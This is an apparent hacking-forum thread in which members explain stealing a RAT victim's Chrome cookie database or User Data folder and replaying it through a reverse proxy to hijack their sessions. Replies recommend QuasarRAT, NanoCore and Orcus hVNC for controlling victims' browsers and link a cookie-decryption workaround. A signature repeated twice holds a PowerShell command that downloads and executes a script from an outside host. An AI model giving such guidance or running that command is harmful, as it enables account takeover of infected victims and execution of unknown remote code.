Apr 23, 2018 11:27 AM
(This post was last modified: Apr 24, 2018 04:58 AM by Thresh.)
1. Open the File Manager
[img]http://up.picr.de/32487325xl.png[/img]
2. Navigate to : "C:\Users\<your_username>\AppData\Local\Google\Chrome\User Data\Default\"
[img]http://up.picr.de/32487346dm.jpg[/img]
Download the "Cookies" file (which is an SQLite database file) and replace it with yours (make a safety copy of yours!).
Preferably you take the whole "User Data" folder and replace it.
After that you can use a Reverse Proxy and Chrome will think you are the Bot.
You can get a Reverse Proxy from QuasarRAT which is free to use and open source.
I hope i could helped someone with that.
What kind of rat is this?
Cracked version of NanoCore ;) :)
DO NOT DEAL WITH THIS MEMBER
how can we do this if we are using HRDP feature on someone?
(Apr 23, 2018 06:14 PM)Chaval Wrote: how can we do this if we are using HRDP feature on someone?
just copy and replace the data base folder to the new one created in the new user of your HRDP...
Apr 24, 2018 04:56 AM
(This post was last modified: Apr 24, 2018 04:56 AM by Thresh.)
(Apr 23, 2018 02:21 PM)Fulya Donmez Wrote: What kind of rat is this?
Im using Quasar RAT
(Apr 23, 2018 04:02 PM)T0pi4ry Wrote: Cracked version of NanoCore ;) :)
Its QuasarRAT, no cracked sh1t
(Apr 24, 2018 04:56 AM)Thresh Wrote: Its QuasarRAT, no cracked sh1t
Ohhhh
I'm sorry, The design seems like NanoCore .
BTW, Thanks for the post 🤝
Much appreciated ✌ ✌
DO NOT DEAL WITH THIS MEMBER
Thank you!! This should help
Thanks buddy for this :)
sent you a pm need some help :D
For Chrome if you're using Orcus, you can use a feature with a bit of exploiting and pretty much hVNC the browser, no need for stealing the cookies if you can just use the browser as if you were sitting at their desk ;)
Check the only thread I have for more info
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"![[Image: f4hRdFS.gif]](https://i.imgur.com/f4hRdFS.gif)
DO NOT DEAL WITH THIS MEMBER
toobad this just works on the target machine as the cookies are encrypted, you can't just steal them and replace your computer with them
Thank you very much for the contribution champion
(Apr 26, 2018 04:11 AM)DelziumTheProudWhale_temp Wrote: toobad this just works on the target machine as the cookies are encrypted, you can't just steal them and replace your computer with them
I know this user is banned but I’m replying to what he has stated, since Google Chrome does indeed encrypt the cookies here’s a cool blog post with a work around https://mango.pdf.zone/stealing-chrome-c...a-password
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"
I did not work leader, try anyway and nothing
(Apr 23, 2018 11:27 AM)Thresh Wrote: 1. Open the File Manager
[img]http://up.picr.de/32487325xl.png[/img]
2. Navigate to : "C:\Users\<your_username>\AppData\Local\Google\Chrome\User Data\Default\"
[img]http://up.picr.de/32487346dm.jpg[/img]
Download the "Cookies" file (which is an SQLite database file) and replace it with yours (make a safety copy of yours!).
Preferably you take the whole "User Data" folder and replace it.
After that you can use a Reverse Proxy and Chrome will think you are the Bot.
You can get a Reverse Proxy from QuasarRAT which is free to use and open source.
I hope i could helped someone with that.
Brilliant.
Thank you brotha
|
